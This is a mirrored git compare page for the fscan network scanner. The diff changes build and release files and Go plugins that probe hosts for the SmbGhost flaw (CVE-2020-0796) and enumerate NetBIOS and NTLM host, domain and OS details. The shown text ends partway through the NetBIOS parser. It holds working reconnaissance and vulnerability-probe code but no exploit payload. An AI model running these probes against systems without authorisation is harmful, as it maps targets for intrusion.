mirror of
https://github.com/shadow1ng/fscan.git
synced 2026-09-23 03:31:53 +08:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
f8b4273fc0 | ||
|
|
5032544bbb | ||
|
|
f89feaf89f | ||
|
|
58ae604eea | ||
|
|
83700540f5 | ||
|
|
1598de6ce0 | ||
|
|
8d1b44e82b |
@@ -1,73 +0,0 @@
|
|||||||
before:
|
|
||||||
hooks:
|
|
||||||
- go mod tidy
|
|
||||||
- go generate ./...
|
|
||||||
builds:
|
|
||||||
- id: "with-upx"
|
|
||||||
env:
|
|
||||||
- CGO_ENABLED=0
|
|
||||||
goos:
|
|
||||||
- linux
|
|
||||||
- windows
|
|
||||||
- darwin
|
|
||||||
goarch:
|
|
||||||
- amd64
|
|
||||||
- arm64
|
|
||||||
- arm
|
|
||||||
- "386"
|
|
||||||
goarm:
|
|
||||||
- "6"
|
|
||||||
- "7"
|
|
||||||
flags:
|
|
||||||
- -trimpath
|
|
||||||
ldflags:
|
|
||||||
- -s -w -X main.version={{.Version}} -X main.commit={{.Commit}} -X main.date={{ .CommitDate }} -X main.builtBy=goreleaser
|
|
||||||
ignore:
|
|
||||||
- goos: windows
|
|
||||||
goarch: arm64
|
|
||||||
- goos: windows
|
|
||||||
goarch: arm
|
|
||||||
- goos: linux
|
|
||||||
goarch: mips64
|
|
||||||
hooks:
|
|
||||||
post: upx --best -f -q "{{ .Path }}"
|
|
||||||
|
|
||||||
# UnknownExecutableFormatException
|
|
||||||
# CantPackException: can't pack new-exe
|
|
||||||
- id: "without-upx"
|
|
||||||
env:
|
|
||||||
- CGO_ENABLED=0
|
|
||||||
goos:
|
|
||||||
- linux
|
|
||||||
- windows
|
|
||||||
goarch:
|
|
||||||
- mips64
|
|
||||||
- arm
|
|
||||||
goarm:
|
|
||||||
- "6"
|
|
||||||
- "7"
|
|
||||||
flags:
|
|
||||||
- -trimpath
|
|
||||||
ldflags:
|
|
||||||
- -s -w -X main.version={{.Version}} -X main.commit={{.Commit}} -X main.date={{ .CommitDate }} -X main.builtBy=goreleaser
|
|
||||||
ignore:
|
|
||||||
- goos: linux
|
|
||||||
goarch: arm
|
|
||||||
|
|
||||||
archives:
|
|
||||||
- replacements:
|
|
||||||
darwin: Darwin
|
|
||||||
linux: Linux
|
|
||||||
windows: Windows
|
|
||||||
386: i386
|
|
||||||
amd64: x86_64
|
|
||||||
checksum:
|
|
||||||
name_template: 'checksums.txt'
|
|
||||||
snapshot:
|
|
||||||
name_template: "{{ incpatch .Version }}-next"
|
|
||||||
changelog:
|
|
||||||
sort: asc
|
|
||||||
filters:
|
|
||||||
exclude:
|
|
||||||
- '^docs:'
|
|
||||||
- '^test:'
|
|
||||||
@@ -1,35 +0,0 @@
|
|||||||
name: goreleaser
|
|
||||||
|
|
||||||
on:
|
|
||||||
push:
|
|
||||||
tags:
|
|
||||||
- '*'
|
|
||||||
|
|
||||||
permissions:
|
|
||||||
contents: write
|
|
||||||
|
|
||||||
jobs:
|
|
||||||
goreleaser:
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
timeout-minutes: 60
|
|
||||||
steps:
|
|
||||||
-
|
|
||||||
name: Checkout
|
|
||||||
uses: actions/checkout@v2
|
|
||||||
with:
|
|
||||||
fetch-depth: 0
|
|
||||||
-
|
|
||||||
name: Set up Go
|
|
||||||
uses: actions/setup-go@v2
|
|
||||||
with:
|
|
||||||
go-version: 1.17
|
|
||||||
-
|
|
||||||
name: Run GoReleaser
|
|
||||||
uses: goreleaser/goreleaser-action@v2
|
|
||||||
with:
|
|
||||||
distribution: goreleaser
|
|
||||||
version: latest
|
|
||||||
args: -f .github/conf/.goreleaser.yml
|
|
||||||
workdir: .
|
|
||||||
env:
|
|
||||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
|
||||||
-21
@@ -1,21 +0,0 @@
|
|||||||
MIT License
|
|
||||||
|
|
||||||
Copyright (c) 2021 shadow1ng
|
|
||||||
|
|
||||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
||||||
of this software and associated documentation files (the "Software"), to deal
|
|
||||||
in the Software without restriction, including without limitation the rights
|
|
||||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
||||||
copies of the Software, and to permit persons to whom the Software is
|
|
||||||
furnished to do so, subject to the following conditions:
|
|
||||||
|
|
||||||
The above copyright notice and this permission notice shall be included in all
|
|
||||||
copies or substantial portions of the Software.
|
|
||||||
|
|
||||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
||||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
||||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
||||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
||||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
||||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
||||||
SOFTWARE.
|
|
||||||
+106
-110
@@ -1,133 +1,129 @@
|
|||||||
package Plugins
|
package Plugins
|
||||||
|
//Ladon Scanner for golang
|
||||||
|
//Author: k8gege
|
||||||
|
//K8Blog: http://k8gege.org
|
||||||
|
//Github: https://github.com/k8gege
|
||||||
import (
|
import (
|
||||||
|
"../common"
|
||||||
"bytes"
|
"bytes"
|
||||||
"fmt"
|
"fmt"
|
||||||
|
"net"
|
||||||
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
const (
|
const (
|
||||||
pkt = "\x00" + // session
|
pkt =
|
||||||
"\x00\x00\xc0" + // legth
|
"\x00" + // session
|
||||||
|
"\x00\x00\xc0"+ // legth
|
||||||
|
|
||||||
"\xfeSMB@\x00" + // protocol
|
"\xfeSMB@\x00"+ // protocol
|
||||||
|
|
||||||
//[MS-SMB2]: SMB2 NEGOTIATE Request
|
//[MS-SMB2]: SMB2 NEGOTIATE Request
|
||||||
//https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/e14db7ff-763a-4263-8b10-0c3944f52fc5
|
//https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/e14db7ff-763a-4263-8b10-0c3944f52fc5
|
||||||
|
|
||||||
"\x00\x00" +
|
"\x00\x00" +
|
||||||
"\x00\x00" +
|
"\x00\x00" +
|
||||||
"\x00\x00" +
|
"\x00\x00" +
|
||||||
"\x00\x00" +
|
"\x00\x00" +
|
||||||
"\x1f\x00" +
|
"\x1f\x00" +
|
||||||
"\x00\x00\x00\x00" +
|
"\x00\x00\x00\x00" +
|
||||||
"\x00\x00\x00\x00" +
|
"\x00\x00\x00\x00" +
|
||||||
"\x00\x00\x00\x00" +
|
"\x00\x00\x00\x00" +
|
||||||
"\x00\x00\x00\x00" +
|
"\x00\x00\x00\x00" +
|
||||||
"\x00\x00\x00\x00" +
|
"\x00\x00\x00\x00" +
|
||||||
"\x00\x00\x00\x00" +
|
"\x00\x00\x00\x00" +
|
||||||
"\x00\x00\x00\x00" +
|
"\x00\x00\x00\x00" +
|
||||||
"\x00\x00\x00\x00" +
|
"\x00\x00\x00\x00" +
|
||||||
"\x00\x00\x00\x00" +
|
"\x00\x00\x00\x00" +
|
||||||
"\x00\x00\x00\x00" +
|
"\x00\x00\x00\x00" +
|
||||||
"\x00\x00\x00\x00" +
|
"\x00\x00\x00\x00" +
|
||||||
"\x00\x00\x00\x00" +
|
"\x00\x00\x00\x00" +
|
||||||
|
|
||||||
// [MS-SMB2]: SMB2 NEGOTIATE_CONTEXT
|
// [MS-SMB2]: SMB2 NEGOTIATE_CONTEXT
|
||||||
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/15332256-522e-4a53-8cd7-0bd17678a2f7
|
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/15332256-522e-4a53-8cd7-0bd17678a2f7
|
||||||
|
|
||||||
"$\x00" +
|
"$\x00" +
|
||||||
"\x08\x00" +
|
"\x08\x00" +
|
||||||
"\x01\x00" +
|
"\x01\x00" +
|
||||||
"\x00\x00" +
|
"\x00\x00" +
|
||||||
"\x7f\x00\x00\x00" +
|
"\x7f\x00\x00\x00" +
|
||||||
"\x00\x00\x00\x00" +
|
"\x00\x00\x00\x00" +
|
||||||
"\x00\x00\x00\x00" +
|
"\x00\x00\x00\x00" +
|
||||||
"\x00\x00\x00\x00" +
|
"\x00\x00\x00\x00" +
|
||||||
"\x00\x00\x00\x00" +
|
"\x00\x00\x00\x00" +
|
||||||
"x\x00" +
|
"x\x00" +
|
||||||
"\x00\x00" +
|
"\x00\x00" +
|
||||||
"\x02\x00" +
|
"\x02\x00" +
|
||||||
"\x00\x00" +
|
"\x00\x00" +
|
||||||
"\x02\x02" +
|
"\x02\x02" +
|
||||||
"\x10\x02" +
|
"\x10\x02" +
|
||||||
"\x22\x02" +
|
"\x22\x02" +
|
||||||
"$\x02" +
|
"$\x02" +
|
||||||
"\x00\x03" +
|
"\x00\x03" +
|
||||||
"\x02\x03" +
|
"\x02\x03" +
|
||||||
"\x10\x03" +
|
"\x10\x03" +
|
||||||
"\x11\x03" +
|
"\x11\x03" +
|
||||||
"\x00\x00\x00\x00" +
|
"\x00\x00\x00\x00" +
|
||||||
|
|
||||||
// [MS-SMB2]: SMB2_PREAUTH_INTEGRITY_CAPABILITIES
|
|
||||||
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5a07bd66-4734-4af8-abcf-5a44ff7ee0e5
|
|
||||||
|
|
||||||
"\x01\x00" +
|
// [MS-SMB2]: SMB2_PREAUTH_INTEGRITY_CAPABILITIES
|
||||||
"&\x00" +
|
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5a07bd66-4734-4af8-abcf-5a44ff7ee0e5
|
||||||
"\x00\x00\x00\x00" +
|
|
||||||
"\x01\x00" +
|
|
||||||
"\x20\x00" +
|
|
||||||
"\x01\x00" +
|
|
||||||
"\x00\x00\x00\x00" +
|
|
||||||
"\x00\x00\x00\x00" +
|
|
||||||
"\x00\x00\x00\x00" +
|
|
||||||
"\x00\x00\x00\x00" +
|
|
||||||
"\x00\x00\x00\x00" +
|
|
||||||
"\x00\x00\x00\x00" +
|
|
||||||
"\x00\x00\x00\x00" +
|
|
||||||
"\x00\x00\x00\x00" +
|
|
||||||
"\x00\x00" +
|
|
||||||
|
|
||||||
// [MS-SMB2]: SMB2_COMPRESSION_CAPABILITIES
|
"\x01\x00" +
|
||||||
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/78e0c942-ab41-472b-b117-4a95ebe88271
|
"&\x00" +
|
||||||
|
"\x00\x00\x00\x00" +
|
||||||
|
"\x01\x00" +
|
||||||
|
"\x20\x00" +
|
||||||
|
"\x01\x00" +
|
||||||
|
"\x00\x00\x00\x00" +
|
||||||
|
"\x00\x00\x00\x00" +
|
||||||
|
"\x00\x00\x00\x00" +
|
||||||
|
"\x00\x00\x00\x00" +
|
||||||
|
"\x00\x00\x00\x00" +
|
||||||
|
"\x00\x00\x00\x00" +
|
||||||
|
"\x00\x00\x00\x00" +
|
||||||
|
"\x00\x00\x00\x00" +
|
||||||
|
"\x00\x00" +
|
||||||
|
|
||||||
"\x03\x00" +
|
// [MS-SMB2]: SMB2_COMPRESSION_CAPABILITIES
|
||||||
"\x0e\x00" +
|
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/78e0c942-ab41-472b-b117-4a95ebe88271
|
||||||
"\x00\x00\x00\x00" +
|
|
||||||
"\x01\x00" + //CompressionAlgorithmCount
|
"\x03\x00" +
|
||||||
"\x00\x00" +
|
"\x0e\x00" +
|
||||||
"\x01\x00\x00\x00" +
|
"\x00\x00\x00\x00" +
|
||||||
"\x01\x00" + //LZNT1
|
"\x01\x00" + //CompressionAlgorithmCount
|
||||||
"\x00\x00" +
|
"\x00\x00" +
|
||||||
"\x00\x00\x00\x00"
|
"\x01\x00\x00\x00" +
|
||||||
|
"\x01\x00" + //LZNT1
|
||||||
|
"\x00\x00" +
|
||||||
|
"\x00\x00\x00\x00"
|
||||||
)
|
)
|
||||||
|
func SmbGhost(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
||||||
func SmbGhost(info *common.HostInfo) error {
|
SmbGhostScan(info)
|
||||||
if common.IsBrute {
|
wg.Done()
|
||||||
return nil
|
<- ch
|
||||||
}
|
|
||||||
err := SmbGhostScan(info)
|
|
||||||
return err
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func SmbGhostScan(info *common.HostInfo) error {
|
func SmbGhostScan(info *common.HostInfo) {
|
||||||
ip, port, timeout := info.Host, 445, time.Duration(common.Timeout)*time.Second
|
ip,port,timeout := info.Host,445,time.Duration(info.Timeout)*time.Second
|
||||||
addr := fmt.Sprintf("%s:%v", info.Host, port)
|
addr:=fmt.Sprintf("%s:%d",info.Host,port)
|
||||||
conn, err := common.WrapperTcpWithTimeout("tcp", addr, timeout)
|
conn, err := net.DialTimeout("tcp", addr, timeout)
|
||||||
defer func() {
|
if err != nil {
|
||||||
if conn != nil {
|
return
|
||||||
conn.Close()
|
} else {
|
||||||
|
conn.Write([]byte(pkt))
|
||||||
|
buff := make([]byte, 1024)
|
||||||
|
err = conn.SetReadDeadline(time.Now().Add(timeout))
|
||||||
|
n, err := conn.Read(buff)
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}else {
|
||||||
|
defer conn.Close()
|
||||||
|
if bytes.Contains([]byte(buff[:n]), []byte("Public")) == true {
|
||||||
|
result := fmt.Sprintf("%v CVE-2020-0796 SmbGhost Vulnerable",ip)
|
||||||
|
common.LogSuccess(result)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}()
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
}
|
||||||
_, err = conn.Write([]byte(pkt))
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
buff := make([]byte, 1024)
|
|
||||||
err = conn.SetReadDeadline(time.Now().Add(timeout))
|
|
||||||
n, err := conn.Read(buff)
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
if bytes.Contains(buff[:n], []byte("Public")) == true {
|
|
||||||
result := fmt.Sprintf("[+] %v CVE-2020-0796 SmbGhost Vulnerable", ip)
|
|
||||||
common.LogSuccess(result)
|
|
||||||
|
|
||||||
}
|
|
||||||
return err
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,375 +0,0 @@
|
|||||||
package Plugins
|
|
||||||
|
|
||||||
import (
|
|
||||||
"bytes"
|
|
||||||
"errors"
|
|
||||||
"fmt"
|
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
"gopkg.in/yaml.v3"
|
|
||||||
"net"
|
|
||||||
"strconv"
|
|
||||||
"strings"
|
|
||||||
"time"
|
|
||||||
)
|
|
||||||
|
|
||||||
var netbioserr = errors.New("netbios error")
|
|
||||||
|
|
||||||
func NetBIOS(info *common.HostInfo) error {
|
|
||||||
netbios, _ := NetBIOS1(info)
|
|
||||||
output := netbios.String()
|
|
||||||
if len(output) > 0 {
|
|
||||||
result := fmt.Sprintf("[*] NetBios: %-15s %s ", info.Host, output)
|
|
||||||
common.LogSuccess(result)
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
return netbioserr
|
|
||||||
}
|
|
||||||
|
|
||||||
func NetBIOS1(info *common.HostInfo) (netbios NetBiosInfo, err error) {
|
|
||||||
netbios, err = GetNbnsname(info)
|
|
||||||
var payload0 []byte
|
|
||||||
if netbios.ServerService != "" || netbios.WorkstationService != "" {
|
|
||||||
ss := netbios.ServerService
|
|
||||||
if ss == "" {
|
|
||||||
ss = netbios.WorkstationService
|
|
||||||
}
|
|
||||||
name := netbiosEncode(ss)
|
|
||||||
payload0 = append(payload0, []byte("\x81\x00\x00D ")...)
|
|
||||||
payload0 = append(payload0, name...)
|
|
||||||
payload0 = append(payload0, []byte("\x00 EOENEBFACACACACACACACACACACACACA\x00")...)
|
|
||||||
}
|
|
||||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
|
||||||
var conn net.Conn
|
|
||||||
conn, err = common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
|
|
||||||
defer func() {
|
|
||||||
if conn != nil {
|
|
||||||
conn.Close()
|
|
||||||
}
|
|
||||||
}()
|
|
||||||
if err != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
|
|
||||||
if err != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
if info.Ports == "139" && len(payload0) > 0 {
|
|
||||||
_, err1 := conn.Write(payload0)
|
|
||||||
if err1 != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
_, err1 = ReadBytes(conn)
|
|
||||||
if err1 != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
_, err = conn.Write(NegotiateSMBv1Data1)
|
|
||||||
if err != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
_, err = ReadBytes(conn)
|
|
||||||
if err != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
_, err = conn.Write(NegotiateSMBv1Data2)
|
|
||||||
if err != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
var ret []byte
|
|
||||||
ret, err = ReadBytes(conn)
|
|
||||||
if err != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
netbios2, err := ParseNTLM(ret)
|
|
||||||
JoinNetBios(&netbios, &netbios2)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
func GetNbnsname(info *common.HostInfo) (netbios NetBiosInfo, err error) {
|
|
||||||
senddata1 := []byte{102, 102, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 32, 67, 75, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 0, 0, 33, 0, 1}
|
|
||||||
//senddata1 := []byte("ff\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00 CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00!\x00\x01")
|
|
||||||
realhost := fmt.Sprintf("%s:137", info.Host)
|
|
||||||
conn, err := net.DialTimeout("udp", realhost, time.Duration(common.Timeout)*time.Second)
|
|
||||||
defer func() {
|
|
||||||
if conn != nil {
|
|
||||||
conn.Close()
|
|
||||||
}
|
|
||||||
}()
|
|
||||||
if err != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
|
|
||||||
if err != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
_, err = conn.Write(senddata1)
|
|
||||||
if err != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
text, _ := ReadBytes(conn)
|
|
||||||
netbios, err = ParseNetBios(text)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
func bytetoint(text byte) (int, error) {
|
|
||||||
num1 := fmt.Sprintf("%v", text)
|
|
||||||
num, err := strconv.Atoi(num1)
|
|
||||||
return num, err
|
|
||||||
}
|
|
||||||
|
|
||||||
func netbiosEncode(name string) (output []byte) {
|
|
||||||
var names []int
|
|
||||||
src := fmt.Sprintf("%-16s", name)
|
|
||||||
for _, a := range src {
|
|
||||||
char_ord := int(a)
|
|
||||||
high_4_bits := char_ord >> 4
|
|
||||||
low_4_bits := char_ord & 0x0f
|
|
||||||
names = append(names, high_4_bits, low_4_bits)
|
|
||||||
}
|
|
||||||
for _, one := range names {
|
|
||||||
out := (one + 0x41)
|
|
||||||
output = append(output, byte(out))
|
|
||||||
}
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
var (
|
|
||||||
UNIQUE_NAMES = map[string]string{
|
|
||||||
"\x00": "WorkstationService",
|
|
||||||
"\x03": "Messenger Service",
|
|
||||||
"\x06": "RAS Server Service",
|
|
||||||
"\x1F": "NetDDE Service",
|
|
||||||
"\x20": "ServerService",
|
|
||||||
"\x21": "RAS Client Service",
|
|
||||||
"\xBE": "Network Monitor Agent",
|
|
||||||
"\xBF": "Network Monitor Application",
|
|
||||||
"\x1D": "Master Browser",
|
|
||||||
"\x1B": "Domain Master Browser",
|
|
||||||
}
|
|
||||||
|
|
||||||
GROUP_NAMES = map[string]string{
|
|
||||||
"\x00": "DomainName",
|
|
||||||
"\x1C": "DomainControllers",
|
|
||||||
"\x1E": "Browser Service Elections",
|
|
||||||
}
|
|
||||||
|
|
||||||
NetBIOS_ITEM_TYPE = map[string]string{
|
|
||||||
"\x01\x00": "NetBiosComputerName",
|
|
||||||
"\x02\x00": "NetBiosDomainName",
|
|
||||||
"\x03\x00": "ComputerName",
|
|
||||||
"\x04\x00": "DomainName",
|
|
||||||
"\x05\x00": "DNS tree name",
|
|
||||||
"\x07\x00": "Time stamp",
|
|
||||||
}
|
|
||||||
NegotiateSMBv1Data1 = []byte{
|
|
||||||
0x00, 0x00, 0x00, 0x85, 0xFF, 0x53, 0x4D, 0x42, 0x72, 0x00, 0x00, 0x00, 0x00, 0x18, 0x53, 0xC8,
|
|
||||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFE,
|
|
||||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x62, 0x00, 0x02, 0x50, 0x43, 0x20, 0x4E, 0x45, 0x54, 0x57, 0x4F,
|
|
||||||
0x52, 0x4B, 0x20, 0x50, 0x52, 0x4F, 0x47, 0x52, 0x41, 0x4D, 0x20, 0x31, 0x2E, 0x30, 0x00, 0x02,
|
|
||||||
0x4C, 0x41, 0x4E, 0x4D, 0x41, 0x4E, 0x31, 0x2E, 0x30, 0x00, 0x02, 0x57, 0x69, 0x6E, 0x64, 0x6F,
|
|
||||||
0x77, 0x73, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x57, 0x6F, 0x72, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x70,
|
|
||||||
0x73, 0x20, 0x33, 0x2E, 0x31, 0x61, 0x00, 0x02, 0x4C, 0x4D, 0x31, 0x2E, 0x32, 0x58, 0x30, 0x30,
|
|
||||||
0x32, 0x00, 0x02, 0x4C, 0x41, 0x4E, 0x4D, 0x41, 0x4E, 0x32, 0x2E, 0x31, 0x00, 0x02, 0x4E, 0x54,
|
|
||||||
0x20, 0x4C, 0x4D, 0x20, 0x30, 0x2E, 0x31, 0x32, 0x00,
|
|
||||||
}
|
|
||||||
NegotiateSMBv1Data2 = []byte{
|
|
||||||
0x00, 0x00, 0x01, 0x0A, 0xFF, 0x53, 0x4D, 0x42, 0x73, 0x00, 0x00, 0x00, 0x00, 0x18, 0x07, 0xC8,
|
|
||||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFE,
|
|
||||||
0x00, 0x00, 0x40, 0x00, 0x0C, 0xFF, 0x00, 0x0A, 0x01, 0x04, 0x41, 0x32, 0x00, 0x00, 0x00, 0x00,
|
|
||||||
0x00, 0x00, 0x00, 0x4A, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD4, 0x00, 0x00, 0xA0, 0xCF, 0x00, 0x60,
|
|
||||||
0x48, 0x06, 0x06, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x02, 0xA0, 0x3E, 0x30, 0x3C, 0xA0, 0x0E, 0x30,
|
|
||||||
0x0C, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x02, 0x0A, 0xA2, 0x2A, 0x04,
|
|
||||||
0x28, 0x4E, 0x54, 0x4C, 0x4D, 0x53, 0x53, 0x50, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x82, 0x08,
|
|
||||||
0xA2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
|
||||||
0x00, 0x05, 0x02, 0xCE, 0x0E, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x57, 0x00, 0x69, 0x00, 0x6E, 0x00,
|
|
||||||
0x64, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x53, 0x00, 0x65, 0x00, 0x72, 0x00,
|
|
||||||
0x76, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x32, 0x00, 0x30, 0x00, 0x30, 0x00, 0x33, 0x00,
|
|
||||||
0x20, 0x00, 0x33, 0x00, 0x37, 0x00, 0x39, 0x00, 0x30, 0x00, 0x20, 0x00, 0x53, 0x00, 0x65, 0x00,
|
|
||||||
0x72, 0x00, 0x76, 0x00, 0x69, 0x00, 0x63, 0x00, 0x65, 0x00, 0x20, 0x00, 0x50, 0x00, 0x61, 0x00,
|
|
||||||
0x63, 0x00, 0x6B, 0x00, 0x20, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x57, 0x00, 0x69, 0x00,
|
|
||||||
0x6E, 0x00, 0x64, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x53, 0x00, 0x65, 0x00,
|
|
||||||
0x72, 0x00, 0x76, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x32, 0x00, 0x30, 0x00, 0x30, 0x00,
|
|
||||||
0x33, 0x00, 0x20, 0x00, 0x35, 0x00, 0x2E, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00,
|
|
||||||
}
|
|
||||||
)
|
|
||||||
|
|
||||||
type NetBiosInfo struct {
|
|
||||||
GroupName string
|
|
||||||
WorkstationService string `yaml:"WorkstationService"`
|
|
||||||
ServerService string `yaml:"ServerService"`
|
|
||||||
DomainName string `yaml:"DomainName"`
|
|
||||||
DomainControllers string `yaml:"DomainControllers"`
|
|
||||||
ComputerName string `yaml:"ComputerName"`
|
|
||||||
OsVersion string `yaml:"OsVersion"`
|
|
||||||
NetDomainName string `yaml:"NetBiosDomainName"`
|
|
||||||
NetComputerName string `yaml:"NetBiosComputerName"`
|
|
||||||
}
|
|
||||||
|
|
||||||
func (info *NetBiosInfo) String() (output string) {
|
|
||||||
var text string
|
|
||||||
//ComputerName 信息比较全
|
|
||||||
if info.ComputerName != "" {
|
|
||||||
if !strings.Contains(info.ComputerName, ".") && info.GroupName != "" {
|
|
||||||
text = fmt.Sprintf("%s\\%s", info.GroupName, info.ComputerName)
|
|
||||||
} else {
|
|
||||||
text = info.ComputerName
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
//组信息
|
|
||||||
if info.DomainName != "" {
|
|
||||||
text += info.DomainName
|
|
||||||
text += "\\"
|
|
||||||
} else if info.NetDomainName != "" {
|
|
||||||
text += info.NetDomainName
|
|
||||||
text += "\\"
|
|
||||||
}
|
|
||||||
//机器名
|
|
||||||
if info.ServerService != "" {
|
|
||||||
text += info.ServerService
|
|
||||||
} else if info.WorkstationService != "" {
|
|
||||||
text += info.WorkstationService
|
|
||||||
} else if info.NetComputerName != "" {
|
|
||||||
text += info.NetComputerName
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if text == "" {
|
|
||||||
} else if info.DomainControllers != "" {
|
|
||||||
output = fmt.Sprintf("[+]DC %-24s", text)
|
|
||||||
} else {
|
|
||||||
output = fmt.Sprintf("%-30s", text)
|
|
||||||
}
|
|
||||||
if info.OsVersion != "" {
|
|
||||||
output += " " + info.OsVersion
|
|
||||||
}
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
func ParseNetBios(input []byte) (netbios NetBiosInfo, err error) {
|
|
||||||
if len(input) < 57 {
|
|
||||||
err = netbioserr
|
|
||||||
return
|
|
||||||
}
|
|
||||||
data := input[57:]
|
|
||||||
var num int
|
|
||||||
num, err = bytetoint(input[56:57][0])
|
|
||||||
if err != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
var msg string
|
|
||||||
for i := 0; i < num; i++ {
|
|
||||||
if len(data) < 18*i+16 {
|
|
||||||
break
|
|
||||||
}
|
|
||||||
name := string(data[18*i : 18*i+15])
|
|
||||||
flag_bit := data[18*i+15 : 18*i+16]
|
|
||||||
if GROUP_NAMES[string(flag_bit)] != "" && string(flag_bit) != "\x00" {
|
|
||||||
msg += fmt.Sprintf("%s: %s\n", GROUP_NAMES[string(flag_bit)], name)
|
|
||||||
} else if UNIQUE_NAMES[string(flag_bit)] != "" && string(flag_bit) != "\x00" {
|
|
||||||
msg += fmt.Sprintf("%s: %s\n", UNIQUE_NAMES[string(flag_bit)], name)
|
|
||||||
} else if string(flag_bit) == "\x00" || len(data) >= 18*i+18 {
|
|
||||||
name_flags := data[18*i+16 : 18*i+18][0]
|
|
||||||
if name_flags >= 128 {
|
|
||||||
msg += fmt.Sprintf("%s: %s\n", GROUP_NAMES[string(flag_bit)], name)
|
|
||||||
} else {
|
|
||||||
msg += fmt.Sprintf("%s: %s\n", UNIQUE_NAMES[string(flag_bit)], name)
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
msg += fmt.Sprintf("%s \n", name)
|
|
||||||
}
|
|
||||||
}
